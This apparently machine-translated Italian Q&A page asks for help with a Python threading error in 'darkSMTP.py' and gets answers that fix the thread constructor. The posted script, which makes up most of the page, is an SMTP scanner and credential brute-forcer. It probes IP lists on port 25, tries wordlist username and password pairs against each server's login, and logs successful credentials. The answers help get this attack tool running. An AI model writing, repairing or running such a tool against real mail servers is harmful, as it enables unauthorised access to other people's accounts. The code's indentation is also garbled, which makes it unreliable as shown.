2015-09-27 17 views
7

Sto trovando difficoltà ad affrontare i seguenti bug con il programma, apprezzerei molto l'input.Python: errore di asserzione, "non chiamato"

L'obiettivo del programma è eseguire una scansione SMTP. L'utente inserisce l'indirizzo IP di destinazione, i nomi utente, le password e il numero di thread da allocare al processo di scansione.

codice
Traceback (most recent call last): 
File "/home/user/Desktop/darkSMTP.py", line 133, in <module> 
    thread = myThread(i, "Thread " + str(i), i);  
    File "/home/user/Desktop/darkSMTP.py", line 100, in __init__ 
    self.name = name 
    File "/usr/lib/python2.6/threading.py", line 669, in name 
    assert self.__initialized, "Thread.__init__() not called" 
AssertionError: Thread.__init__() not called 

è qui sotto:

import threading, time, random, sys, smtplib, socket 
from smtplib import SMTP 
from copy import copy 
from optparse import OptionParser 

usage= "./%prog -i <iplist> -t <threads> -u <userlist> -p <passlist>" 
usage = usage+"\nExample: ./%prog -i ips.txt -t 8 -u user.txt -p pass.txt" 
parser = OptionParser(usage=usage) 
parser.add_option("-i", 
        action="store", dest="ips", 
        help="IP list for scanning") 
parser.add_option("-t", type="int", 
        action="store", dest="threads", 
        help="Threads for processing") 
parser.add_option("-u", 
        action="store", dest="users", 
        help="List of usernames") 
parser.add_option("-p", 
        action="store", dest="passes", 
        help="List of passwords") 
(options, args) = parser.parse_args() 

def timer(): 
     now = time.localtime(time.time()) 
     return time.asctime(now) 

if len(sys.argv) != 9: 
    parser.print_help() 
    sys.exit(1) 

i = 1 
port = 25 
threads = options.threads 
file = options.ips 
users = options.users 
passes = options.passes 
completed = [] 
threaders = [] 
logger = open('darkSMTP.txt','w') 
ipfile = open(file,'r') 
print "[+] Warming up...ok"; 
lines = ipfile.readlines() 
print "[+] IP's loaded:",len(lines); 
print "[+] Users loaded:",len(users) 
print "[+] Passwords loaded:",len(passes) 
ipfile.close(); 
eachThread = len(lines)/int(threads); 
print "[+] IP's per thread:",eachThread; 

class myThread (threading.Thread): 
    def __init__(self, threadID, name, counter): 
     self.threadID = threadID 
     self.name = name 
     self.counter = counter 
     threading.Thread.__init__(self) 
    def run(self): 
     print "[+] Starting " + self.name 
     connect(self.name, self.counter, eachThread, self.threadID) 

def connect(threadName, delay, counter, threadID): 
    start = threadID * counter 
     file = open(options.ips,'r') 
     data = file.readlines() 
    while counter: 
     if 0: 
       thread.exit() 
     s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) 
     s.settimeout(2) 
     try: 
        connect=s.connect((data[start-counter],port)) 
       print "[+] SMTP server on: " + data[start-counter], 
      print "[+] Server added to output file!" 
      logger.write(data[start-counter]) 
      if s.recv(1024): 
       completed.append(data[start-counter].rstrip()) 
     except socket.timeout: 
      print "[-] Server non-existant: " + data[start-counter].rstrip() 
      except socket.error: 
        print "[+] Server exists! " + data[start-counter].rstrip(); 
      print "[-] But it's not SMTP" 
      s.close() 
     time.sleep(delay) 
     counter -= 1 

while (i < int(threads + 1)): 
    thread = myThread(i, "Thread " + str(i), i);  
    threaders.append(thread) 
    i += 1 
    thread.start() 

for t in threaders: 
    t.join() 

print "\n--- Found & logged all SMTP servers in range ---\n" 
print "---------------------------------------------------" 
print "[+] Starting dictionary attack for each SMTP server" 
print "---------------------------------------------------\n" 

try:  
    helo = smtplib.SMTP(sys.argv[1]) 
    name = helo.helo() 
    helo.quit() 
except(socket.gaierror, socket.error, socket.herror, smtplib.SMTPException): 
    name = "[-] Server doesn't support the Helo cmd" 

try: 
    users = open(users, "r").readlines() 
except(IOError): 
    print "Error: Check your userlist path\n" 
    sys.exit(1) 

try: 
    words = open(passes, "r").readlines() 
except(IOError): 
    print "Error: Check your wordlist path\n" 
    sys.exit(1) 

wordlist = copy(words) 
def reloader(): 
    for word in wordlist: 
     words.append(word) 

def getword(): 
    lock = threading.Lock() 
    lock.acquire() 
    if len(words) != 0: 
     value = random.sample(words, 1) 
     words.remove(value[0]) 
    else: 
     reloader() 
     value = random.sample(words, 1) 
     words.remove(value[0]) 
     users.remove(users[0]) 
    lock.release() 
    return value[0][:-1], users[0][:-1] 

class Worker(threading.Thread): 
    def __init__(self): 
      threading.Thread.__init__(self) 
    def run(self): 
     value, user = getword() 
     for ip in completed: 
      print "-"*12 
      print "[+] IP: "+ip 
      try: 
       print "User:",user,"Password:",value 
       smtp = smtplib.SMTP(ip) 
       smtp.login(user, value) 
       print "\t\n[!] Login successful:",user, value 
       logger.write("[!] Found: " + ip + " " + str(user) + ":" + str(value) + "\n") 
       smtp.quit() 
       sys.exit(2) 
      except(socket.gaierror, socket.error, socket.herror, smtplib.SMTPException), msg: 
       pass 

for i in range(len(words)*len(users)): 
    work = Worker() 
    work.start() 
    threaders.append(work) 
    time.sleep(1) 

for t in threaders: 
    t.join() 

logger.close() 

Grazie

+2

Hai provato a chiamare il super costruttore 'threading.Thread .__ init __ (self)' prima di inizializzare qualsiasi altro attributo? So che può sembrare strano, ma ricordo che mi sono imbattuto in questo stesso problema in passato ... –

+0

Ehi, utente3423572, dove sei ??????? –

risposta

8

tuo costruttore della classe MyThread deve essere:

class myThread (threading.Thread): 
    def __init__(self, threadID, name, counter): 
     threading.Thread.__init__(self, name=name) 
     self.threadID = threadID 
     self.name = name 
     self.counter = counter 
    def run(self): 
     print("[+] Starting " + self.name) 
     connect(self.name, self.counter, eachThread, self.threadID) 

prega, prestare attenzione a threading.Thread.__init__(self, name=name) dopo __init__. È necessario chiamare il costruttore della classe base prima di provare a impostare il nome.

+0

Penso che super() sia da preferire quando si chiama il costruttore della classe base. Inoltre stai assegnando l'attributo name due volte. – mnencia

3

È necessario chiamare __init__() prima di tentare di impostare il nome. Thread.name è una proprietà, non un normale attributo, e il suo setter controlla che l'oggetto sia già inizializzato. Inoltre, non è necessario assegnare il nome manualmente, perché lo Threading.__init__ ha già il parametro name. Quindi:

class myThread(threading.Thread): 
    def __init__(self, threadID, name, counter): 
     super(myThread, self).__init__(name=name) 
     self.threadID = threadID 
     self.counter = counter 
    #... 
Problemi correlati